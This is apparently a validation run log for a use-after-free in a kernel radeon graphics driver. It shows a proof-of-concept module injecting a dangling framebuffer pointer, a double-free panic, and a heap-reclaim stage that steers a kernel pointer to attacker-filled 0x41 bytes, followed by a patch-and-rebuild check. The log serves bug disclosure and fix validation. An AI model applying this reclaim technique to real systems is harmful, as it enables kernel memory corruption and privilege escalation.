DF-4914 / run.log
===== DF-4914 baseline: stock /boot/kernel/radeon.ko (unfixed) =====
$ kldload drm && kldload radeon && kldload /root/rfb/rfbuaf.ko
DF-4914 PoC loaded; sysctl hw.rfbuaf=1|2|3
--- stage 1: inject the exact failed-radeon_fbdev_init() state (radeon_fb.c:374-405) ---
$ sysctl hw.rfbuaf=1
DF-4914: injected failed-init state (radeon_fb.c:374-405):
rdev->mode_info.rfbdev = 0xfffff8011788c900 โ kfree()d block still recorded (dangling)
(no crash; returns cleanly โ this is the state the driver carries after
radeon_modeset_init() ignores the failed radeon_fbdev_init(),
radeon_display.c:1640)
--- stage 2: production teardown on the dangling pointer ---
$ sysctl hw.rfbuaf=2
DF-4914: injected failed-init state (radeon_fb.c:374-405):
rdev->mode_info.rfbdev = 0xfffff8011788c900 โ kfree()d block still recorded (dangling)
DF-4914: calling production radeon_fbdev_fini() (radeon_modeset_fini teardown) on the dangling pointer...
panic: memory chunk 0xfffff8011788c900 is already free!
cpuid = 5
Trace beginning at frame 0xfffff801182e76b8
chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
_kfree() at _kfree+0x262 0xffffffff806580e2
radeon_fbdev_fini() at radeon_fbdev_fini+0x78 0xffffffff831feae8 <-- radeon_fb.c:415
sysctl_run() at sysctl_run+0x1c4 0xffffffff84bcb334
sysctl_root.isra.5() at sysctl_root.isra.5+0x166 0xffffffff80683d06
Debugger("panic")
(full text: panic-stage2.txt)
--- stage 3: reclaim the freed block, then production teardown (fresh boot) ---
$ sysctl hw.rfbuaf=3
DF-4914: injected failed-init state (radeon_fb.c:374-405):
rdev->mode_info.rfbdev = 0xfffff801179c4440 โ kfree()d block still recorded (dangling)
DF-4914: reclaim attempt: 0xfffff801179c4440 (dangling 0xfffff801179c4440, RECLAIMED)
DF-4914: reclaimed block 0x41-filled (fb.obj[0]=0x4141414141414141); production fini -> radeonfb_destroy_pinned_object wild chase
Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer = 0x8:0xffffffff831fe27c
...
current process = 1000
Stopped at radeon_fbdev_destroy_pinned_object+0x1c: movl -0x2d0(%rdi),%eax
(full text: panic-stage3.txt โ rdi is gem_to_radeon_bo(0x4141414141414141)
i.e. the reclaimed block's fb.obj[0] field, fully attacker-controlled)
===== DF-4914 fixed-module check: /usr/src patched with fix.diff, radeon.ko rebuilt =====
$ cd /usr/src/sys/dev/drm/radeon && patch -N < /root/fix.diff && make -j6 # BUILD=0
$ kldload drm && kldload /usr/src/sys/dev/drm/radeon/radeon.ko # FIXED-RADEON-LOADED
$ kldload /root/rfb/rfbuaf.ko && sysctl hw.rfbuaf=1 # runs, no crash
Note: stage 1 injects the post-failure state directly (radeon_fb.c:374-405),
so it is byte-identical whether the loaded radeon_fb.c is fixed or not โ the
fix removes the *creation* of the dangling pointer inside radeon_fbdev_init,
which cannot be driven live on the no-GPU guest (see VERDICT.md). Stages 2/3
were therefore not re-run against the fixed module; see VERDICT.md for the
fix-validation classification.